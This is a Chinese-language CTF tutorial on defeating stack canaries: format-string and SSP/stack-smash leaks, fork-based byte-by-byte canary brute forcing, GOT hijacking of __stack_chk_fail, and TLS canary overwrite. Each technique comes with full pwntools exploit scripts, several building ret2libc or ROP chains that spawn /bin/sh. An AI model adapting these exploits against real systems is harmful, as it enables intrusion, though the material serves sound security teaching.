泄露 格式化字符串泄露
覆盖canary最后一个字节的数据,通过printf/puts
打印canary
的值。
[2021 鹤城杯]littleof
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *from LibcSearcher import * pwnfile="./littleof" io=remote("node4.anna.nssctf.cn" ,28234 ) elf=ELF(pwnfile) off=72 context(log_level="debug" ,arch="amd64" ) rdi=0x0000000000400863 ret=0x000000000040059e pay=b'a' *off+b'b' io.recvuntil(b'Do you know how to do buffer overflow?\n' ) io.send(pay) io.recvuntil(b"b" ) canary=u64(b'\x00' +io.recv(7 ))print ("canary:" ,hex (canary)) payload=b'a' *(0x50 -8 )+p64(canary)+b'a' *8 +p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(0x4006e2 ) io.recvuntil(b'harder!' ) io.sendline(payload) puts_addr=u64(io.recvuntil(b"\x7f" )[-6 :].ljust(8 ,b'\x00' ))print ("puts:" ,hex (puts_addr)) libc=LibcSearcher("puts" ,puts_addr) libc_base=puts_addr-libc.dump("puts" )print ("puts" ,hex (libc_base)) sys=libc_base+libc.dump("system" ) sh=libc_base+libc.dump("str_bin_sh" ) payload=b'a' *(0x50 -8 )+p64(canary)+b'a' *8 +p64(rdi)+p64(sh)+p64(ret)+p64(sys) io.sendlineafter(b"Do you know how to do buffer overflow?\n" ,b"aaaa" ) io.sendlineafter(b"ry harder!" ,payload) io.interactive()
SSP Leak 原理 简介 Stack Smashing Protector (SSP) 是一种防范栈溢出漏洞的机制,最初在1998年由 StackGuard 引入 GCC。后来,RedHat 将其发展为 ProPolice,提供了 -fstack-protector
和 -fstack-protector-all
编译选项。SSP 的核心目标是检测栈上的 canary
值是否被篡改,从而增强程序的安全性。
SSP Leak 则是利用 SSP 机制进行攻击的一种技术。通过破坏 canary
值,攻击者可以触发程序的异常处理流程,并利用该过程泄露信息。
在CTF Wiki中将这种利用技术称为 Stack Smash ,并将其归类为花式栈溢出的一部分。这表明,SSP Leak 是栈溢出攻击的一种高级形式。
SSP工作原理
插入canary
将canary
插入栈中,一般通过fs/gx
寄存器来获取4字节(32位)或8字节(64位)的值,这就是canary
值,然后将其插入到栈上与rbp
相邻的位置。
该值在函数执行前和返回时都会被检查。
1 2 .text:0000000000401205 mov rax, fs:28 h .text:000000000040120 E mov [rbp+var_8], rax
校验canary
程序在结束时会从栈上读取canary
的值,然后与保存的值进行比较,如果不相等(即被篡改)就调用__stack_chk_fail
函数处理。
1 2 3 4 .text:00000000004012 CE mov rcx, [rbp+var_8] .text:00000000004012 D2 xor rcx, fs:28 h .text:00000000004012 DB jz short locret_4012E2 .text:00000000004012 DD call ___stack_chk_fail
__stack_chk_fail()
函数
__stack_chk_fail
函数在canary
被篡改后调用,它会输出一串错误信息并终止程序。
输出错误信息时,会打印 argv[0]
的指针所指向的字符串。通常,这个指针指向程序的名称。如果能够控制 argv[0]
的值,就有可能泄露敏感信息。
__stack_chk_fail()
函数的源代码
1 2 3 4 5 6 7 8 9 10 11 12 void __attribute__((noreturn )) __stack_chk_fail(void ) { __fortify_fail("stack smashing detected" ); }void __attribute__((noreturn )) internal_function __fortify_fail(const char *msg) { while (1 ) { __libc_message(2 , "*** %s ***: %s terminated\n" , msg, __libc_argv[0 ] ? : "<unknown>" ); } }
SPP Leak 技术 前面我们提到过,可以通过控制argv[0]
的值来泄露数据,而SSP Leak就是这样的一种利用技术。通常用于绕过canary
保护,在CTF比赛中题型比较固定。
栈溢出
通过栈溢出覆盖缓冲区时,会连带覆盖 canary
值。
触发错误
当程序检测到 canary
被修改时,它会调用 __stack_chk_fail()
函数,导致程序终止并输出错误信息。
泄露信息
我们可以通过栈溢出将 argv[0]
覆盖成为一个指针,然后在错误信息中就可以打印出我们想要的信息。
注:libc-2.25启用了一个新的函数__fortify_fail_abort()
,试图对该泄露问题进行修复,函数的第一个参数问问false
时,将不再进行栈回溯,而是直接打印出字符串 <unkonwn>
,那么也就无法再进行Leak。
[HNCTF 2022 WEEK3]smash
根据题目名称就可以猜测是要我们通过 smash 的方式利用了
查保护
发现除了PIE
保护,其它保护全开。
1 2 3 4 5 6 ➜ smash checksec ./smash Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fe000 )
分析
分析程序main
函数
程序利用open
打开了一个叫flag
的文件,然后将flag
的内容读取到了bss
段变量buf
上。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __fastcall main (int argc, const char **argv, const char **envp) { int fd; char v5[264 ]; unsigned __int64 v6; v6 = __readfsqword(0x28 u); setbuf(stdin , 0LL ); setbuf(stderr , 0LL ); setbuf(stdout , 0LL ); fd = open("flag" , 0 ); if ( !fd ) { puts ("Open Err0r." ); exit (-1 ); } read(fd, &buf, 0x100 uLL); puts ("Good Luck." ); gets(v5); return 0 ; }
查看buf
变量
1 2 3 4 .bss:0000000000404060 buf db ? ; ; DATA XREF: main+A0↑o .bss:0000000000404061 db ? ; .bss:0000000000404062 db ? ; .bss:0000000000404063 db ? ;
我们可以通过 SSP Leak将程序读取到buf
变量中的内容泄露出来
接下来寻找argv[0]
的地址
gdb调试查看栈,栈中的1
表示程序参数数量,然后就是程序参数的地址(即argv
),因为这个程序只有一个参数,所以只有一个地址。
就是我们要找的argv[0]
,之后以0
为结束符。
1 2 3 4 5 6 40 :0200 │ r13 0x7fffffffd340 ◂— 1 41 :0208 │ rsi 0x7fffffffd348 —▸ 0x7fffffffd6ac ◂— '/root/smash' 42 :0210 │+0f 0 0x7fffffffd350 ◂— 0 43 :0218 │ rdx 0x7fffffffd358 —▸ 0x7fffffffd6b8 ◂— 'HOSTTYPE=x86_64' 44 :0220 │+100 0x7fffffffd360 —▸ 0x7fffffffd6c8 ◂— 'LANG=C.utf8' 45 :0228 │+108 0x7fffffffd368 —▸ 0x7fffffffd6d4 ◂— 0x6f722f3d48544150 ('PATH=/ro' )
然后我们将程序跑起来,获取程序输入内容的地址。
输入aaaaaaaa
我们可以看到我们输入的内容已经在栈中。
1 2 3 4 5 6 7 8 00 :0000 │ rsp 0x7fffffffccd0 ◂— 0x58c5bb624771 01 :0008 │-118 0x7fffffffccd8 ◂— 0x300000000 02 :0010 │-110 0x7fffffffcce0 ◂— 'aaaaaaaa' 03 :0018 │-108 0x7fffffffcce8 —▸ 0x7fffffffcd00 ◂— 0x6562b026 04 :0020 │-100 0x7fffffffccf0 ◂— 0xffffcdd0 05 :0028 │-0f 8 0x7fffffffccf8 —▸ 0x7fffffffcd10 ◂— 0xffffffff 06 :0030 │-0f 0 0x7fffffffcd00 ◂— 0x6562b026 07 :0038 │-0e8 0x7fffffffcd08 —▸ 0x7ffff7b9c547 ◂— pop rdi
根据我们的输入位置和argv[0]
的地址来计算偏移。
1 0x7fffffffced8 -0x7fffffffcce0 =0x1f8
偏移为0x1f8
,填充偏移大小的垃圾数据,然后在拼接上我们要泄露的变量地址。
exp
1 2 3 4 5 6 7 8 9 10 11 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf payload=cyclic(504 )+p64(0x404060 ) r() s(payload) ia()
[2021 鹤城杯]easyecho
查保护
保护全开
1 2 3 4 5 6 ➜ [2021 鹤城杯]easyecho checksec ./easyecho Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
分析
分析main
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { bool v3; __int64 v4; char *v5; const char *v6; char v8[16 ]; int (*v9)(); char v10[104 ]; unsigned __int64 v11; v11 = __readfsqword(0x28 u); sub_DA0(a1, a2, a3); sub_F40(); v9 = sub_CF0; puts ("Hi~ This is a very easy echo server." ); puts ("Please give me your name~" ); _printf_chk(1LL , "Name: " ); sub_E40(v8); _printf_chk(1LL , "Welcome %s into the server!\n" , v8); do { while ( 1 ) { _printf_chk(1LL , "Input: " ); gets(v10); _printf_chk(1LL , "Output: %s\n\n" , v10); v4 = 9LL ; v5 = v10; v6 = "backdoor" ; do { if ( !v4 ) break ; v3 = *v5++ == *v6++; --v4; } while ( v3 ); if ( !v3 ) break ; (v9)(v6, v5); } } while ( strcmp (v10, "exitexit" ) ); puts ("See you next time~" ); return 0LL ; }
gdb调试,打个断点到__printf_chk
函数,然后让程序运行起来,输入aaaa
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────── ► 0x555555400af2 call __printf_chk@plt <__printf_chk@plt> flag: 1 format: 0x55555540108a ◂— 'Welcome %s into the server!\n' vararg: 0x7fffffffcef0 ◂— 0x61616161 0x555555400af7 nop word ptr [rax + rax] 0x555555400b00 lea rsi, [rip + 0x5a0 ] RSI => 0x5555554010a7 ◂— outsb dx, byte ptr [rsi] 0x555555400b07 mov edi, 1 EDI => 1 0x555555400b0c xor eax, eax EAX => 0 0x555555400b0e call __printf_chk@plt <__printf_chk@plt> 0x555555400b13 mov rdi, rbx 0x555555400b16 xor eax, eax EAX => 0 0x555555400b18 call gets@plt <gets@plt> 0x555555400b1d lea rsi, [rip + 0x58b ] RSI => 0x5555554010af ◂— jne 0x555555401126 0x555555400b24 mov edi, 1 EDI => 1 ───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────00 :0000 │ rdx rsp 0x7fffffffcef0 ◂— 0x61616161 01 :0008 │ 0x7fffffffcef8 ◂— 0 02 :0010 │ 0x7fffffffcf00 —▸ 0x555555400cf0 ◂— push rbx03 :0018 │ 0x7fffffffcf08 ◂— 0 04 :0020 │ rbx 0x7fffffffcf10 —▸ 0x7fffffffd088 —▸ 0x7fffffffd45b ◂— 'APPCODE_VM_OPTIONS=/opt/clion/jetbra/vmoptions/appcode.vmoptions' 05 :0028 │ 0x7fffffffcf18 ◂— 0 06 :0030 │ 0x7fffffffcf20 ◂— 1 07 :0038 │ 0x7fffffffcf28 —▸ 0x7fffffffd088 —▸ 0x7fffffffd45b ◂— 'APPCODE_VM_OPTIONS=/opt/clion/jetbra/vmoptions/appcode.vmoptions' ─────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────── ► 0 0x555555400af2 1 0x7ffff7a59730 __libc_start_main+240
在栈上发现了我们输入的内容,并且后面还有一个地址。
通过vmmap
指令查看一下为哪个段的地址,发现为可执行段的地址。
1 2 3 4 5 6 pwndbg> vmmap 0x555555400cf0 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File ► 0x555555400000 0x555555402000 r-xp 2000 0 /mnt/g/1 二进制安全/pwn/用户态/bypass/canary/SSP Leak/[2021 鹤城杯]easyecho/easyecho +0xcf0 0x555555601000 0x555555602000 r--p 1000 1000 /mnt/g/1 二进制安全/pwn/用户态/bypass/canary/SSP Leak/[2021 鹤城杯]easyecho/easyecho
我们可以通过这个地址减去程序基址获取偏移。
1 p/x 0x555555400cf0 -0x555555400000 =cf0
程序通过格式化字符串%s
打印我们输出的内容,我们可以利用输入覆盖掉地址前的0。
然后让格式化字符串函数输出地址,之后通过偏移计算程序基址。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf sla(b'Name: ' , b'a' *0x10 ) ru(b'a' *0x10 ) base = u64(r(6 ).ljust(8 , b'\x00' )) - 0xcf0 print ("base" ,hex (base)) sla(b'Input: ' ,b'backdoor\x00' ) flag_addr = base + 0x202040 payload = b'a' *0x168 + p64(flag_addr) sla(b'Input: ' , payload) sla(b'Input: ' , b'exitexit' ) flag=r()print (flag)
wdb2018_guess
查保护
只没有PIE
保护
1 2 3 4 5 6 ➜ wdb2018_guess checksec ./GUESS Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
分析
一般我们进行Stack smash
利用时,程序会直接崩溃退出。
但是在这个程序中的sub_400A11
函数fork
了三次子进程,所以我们可以执行三次。
1 2 3 4 5 6 7 8 9 __int64 sub_400A11 () { unsigned int v1; v1 = fork(); if ( v1 == -1 ) err(1 , "can not fork" ); return v1; }
泄露libc地址获取environ
内容,进而计算flag
的地址,
environ
是libc
中的全局变量,指向栈中的环境变量数组。
然后通过将flag地址覆盖为argv[0]
地址获取flag
坑点,libc版本
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwncli import *from LibcSearcher import * cli_script() io: tube = gift.io elf: ELF = gift.elf payload=b'a' *0x128 +p64(elf.got.puts) sla("flag\n" ,payload) puts_addr=u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))print ("puts" ,hex (puts_addr)) libc=LibcSearcher("puts" ,puts_addr) base=puts_addr-libc.dump("puts" ) environ=base+libc.dump("__environ" )print ("environ" ,hex (environ)) payload=b'a' *0x128 +p64(environ) sl(payload) environ_addr=u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))print ("environ" ,hex (environ_addr)) payload=b'a' *0x128 +p64(environ_addr-0x168 ) sl(payload) ia()
数组下标越界 通过数组下标越界修改返回地址来绕过canary
保护。
例题:
wustctf2020_name_your_cat
查保护
只没有PIE
保护
1 2 3 4 5 6 ➜ checksec ./wustctf2020_name_your_cat Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
分析
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf sys=elf.sym.shelldef new (index, content ): ru(b"which?\n>" ) sl(str (index).encode()) ru(b"plz: " ) sl(content) for i in range (5 ): new(7 , p32(sys)) ia()
爆破canary 栈帧布局
1 2 3 4 5 6 7 8 9 10 11 Low Address | | +-----------------+ | 局部变量 | +-----------------+ rbp-8 =>| canary value | +-----------------+ rbp => | old ebp | +-----------------+ | return address | +-----------------+
不同编译器编译出来的程序canary
位置可能不同,比如对于ubuntu来说:使用gcc编译出来的32位程序canary
会被写在ebp-0xc
,64位程序则在rbp-0x8
,后者的canary
才和栈底相邻。
爆破原理
对于Canary,虽然每次进程重启后Canary不同,但是同一个进程中的不同线程的Cannary是相同的,并且通过fork函数创建的子进程中的canary也是相同的,因为fork函数会直接拷贝父进程的内存。
最低位为0x00,之后逐次爆破,如果canary爆破不成功,则程序崩溃;爆破超过则程序进行下面的逻辑。由此可判断是否成功。
我们可以利用这样的特点,彻底逐个字节将Canary爆破出来。
爆破canary的通用模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='i386' , os='linux' ) local = 1 elf = ELF('./bin1' )if local: p = process('./bin1' ) else : p = remote('' ,) libc = ELF('./' ) p.recvuntil('welcome\n' ) canary = '\x00' for k in range (3 ): for i in range (256 ): print "正在爆破Canary的第" + str (k+1 )+"位" print "当前的字符为" + chr (i) payload='a' *100 + canary + chr (i) print "当前payload为:" ,payload p.send('a' *100 + canary + chr (i)) data=p.recvuntil("welcome\n" ) print data if "sucess" in data: canary += chr (i) print "Canary is: " + canary break
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #include <stdio.h> #include <unistd.h> #include <string.h> #include <wait.h> void vuln () { char buf[0x100 ]; puts ("please input:" ); read(0 , buf, 0x200 ); }int main () { setbuf(stdin , NULL ); setbuf(stdout , NULL ); while (1 ) { pid_t pid = fork(); if (pid < 0 ) { break ; } else if (pid > 0 ) { wait(0 ); } else { vuln(); } } return 0 ; }
由于fork
产生的子进程的canary
与父进程相同,因此可以根据子进程是否打印错误信息来逐字节爆破canary
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import * elf = ELF("./test" ) context(arch=elf.arch, os=elf.os) context.log_level = 'debug' p = process([elf.path]) canary = '\x00' while len (canary) < 8 : for c in range (0x100 ): p.sendafter("please input:" , "a" * 0x108 + canary + p8(c)) if not p.recvline_contains('stack smashing detected' , timeout=1 ): canary += p8(c) break canary = u64(canary) info("canary: " + hex (canary)) payload = '' payload += 'a' * 0x108 payload += p64(canary) payload += 'b' * 8 payload += p64(0x000000000040f23e ) payload += p64(0x00000000004c10e0 ) payload += p64(0x00000000004493d7 ) payload += b'/bin//sh' payload += p64(0x000000000047c4e5 ) payload += p64(0x000000000040f23e ) payload += p64(0x00000000004c10e8 ) payload += p64(0x00000000004437a0 ) payload += p64(0x000000000047c4e5 ) payload += p64(0x00000000004018c2 ) payload += p64(0x00000000004c10e0 ) payload += p64(0x000000000040f23e ) payload += p64(0x00000000004c10e8 ) payload += p64(0x00000000004017cf ) payload += p64(0x00000000004c10e8 ) payload += p64(elf.search(asm('pop rax; ret;' ), executable=True ).next ()) payload += p64(59 ) payload += p64(elf.search(asm('syscall;' ), executable=True ).next ()) p.sendafter("please input:" ,payload) p.interactive()
picoctf_2018_buffer overflow 3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import * shell = ssh(host='node3.buuoj.cn' , user='CTFMan' , port=27525 , password='guest' ) context.log_level = 'critical' canary = '' for i in range (4 ): for c in range (0xFF ): sh = shell.process('./vuln' ) sh.sendlineafter('>' ,'-1' ) payload = 'a' *0x20 + canary + p8(c) sh.sendafter('Input>' ,payload) sh.recv(1 ) ans = sh.recv() if 'Canary Value Corrupt!' not in ans: print 'success guess the index({}),value({})' .format (i,c) canary += p8(c) break else : print 'try to guess the index({}) value' .format (i) sh.close()print 'canary=' ,canary payload = 'a' *0x20 + canary + p32(0 )*4 + p32(0x080486EB ) sh = shell.process('./vuln' ) sh.sendlineafter('>' ,'-1' ) sh.sendafter('Input>' ,payload) sh.interactive()
劫持__stack_chk_fail
函数 canary 检测失败会调用__stack_chk_fail
函数,可以通过比如格式化字符串漏洞修改 got 表中对应__stack_chk_fail
的位置为后门函数的地址来实施攻击。
示例程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> void backdoor () { puts ("this is a backdoor." ); system("/bin/sh" ); }void vuln () { char buf[0x100 ]; puts ("please input:" ); read(0 , buf, 0x110 ); printf (buf); }int main () { setbuf(stdin , NULL ); setbuf(stdout , NULL ); vuln(); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import * elf = ELF("./pwn" ) context(arch=elf.arch, os=elf.os) context.log_level = 'debug' p = process("./pwn" ) off=6 payload = fmtstr_payload(off, {elf.got['__stack_chk_fail' ]: elf.sym['backdoor' ]}) payload = payload.ljust(0x108 , b'a' ) payload += b'b' p.sendafter("please input:" , payload) p.interactive()
[BJDCTF 2nd]r2t4
劫持TLS 在开启canary
的情况下,当程序在线程创建线程的时候,会创建一个TLS(Thread Local Storage),这个TLS会存储canary的值,而TLS会保存在stack高地址的地方。
那么,当我们溢出足够大的字节覆盖到TLS所在的地方,就可以控制TLS结构体,进而控制canary到我们想要的值,实现ROP。
Linux 下fs
寄存器指向当前栈的TLS
结构,fs:0x28
指向的是TLS
结构中的stack_guard
值,如果可以覆盖位于TLS
中的canary
初始值就可以绕过canary
保护。
TLS
中的canary
是可写的
1 2 3 4 5 6 7 8 pwndbg> tls tls : 0x7ffff7d7c740 pwndbg> vmmap 0x7ffff7d7c740 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File 0x404000 0x405000 rw-p 1000 3000 /mnt/g/1 二进制安全/pwn/用户态/bypass/canary/覆盖canary初始值/demo/vuln ► 0x7ffff7d7c000 0x7ffff7d7f000 rw-p 3000 0 [anon_7ffff7d7c] +0x740 0x7ffff7d7f000 0x7ffff7da7000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
格式化字符串任意地址写覆盖canary
例题:
gyctf_2020_bfnote
查保护
只没有PIE
保护。
1 2 3 4 5 6 ➜ 覆盖canary初始值 checksec ./gyctf_2020_bfnote Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
分析
栈溢出的生活控制ebp打一个栈迁移到bss
向bss输入的数据作用是修改atoi的got表
通过控制索引修改canary
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from tools import * context.log_level='debug' p,e,libc=load('a' ,'node4.buuoj.cn:28185' ) inc_ebp=0x08048434 pop_ebp=0x080489db debug(p,0x80487FC ,0x804882A ,0x80488E2 ,0x804895E ) payload=b'a' *0X32 +p32(0xdeadbeef )+p32(0 )+p32(0x0804A060 +4 )+p32(0 ) p.sendlineafter("Give your description : " ,payload) payload=p32(pop_ebp)+p32(0x804a02d +0x17fa8b40 )+p32(inc_ebp)*0xd9 payload+=p32(e.plt['read' ])+p32(0x08048656 )+p32(0 )+p32(e.got['atol' ])+p32(0x100 )+p32(0x08048656 ) p.sendlineafter("Give your postscript : " ,payload) p.sendlineafter("Give your notebook size : " ,str (0x50000 )) p.sendlineafter("Give your title size : " ,str (0x5170c -0x10 )) p.sendlineafter("invalid ! please re-enter :\n" ,str (0x18 )) p.sendlineafter("\nGive your title : " ,'c' *0x10 ) p.sendlineafter("Give your note : " ,p32(0xdeadbeef )) pause() p.send('\x40' ) pause() p.send("/bin/sh\x00" ) p.interactive()
gyctf_2020_bfnote starctf2018_babystack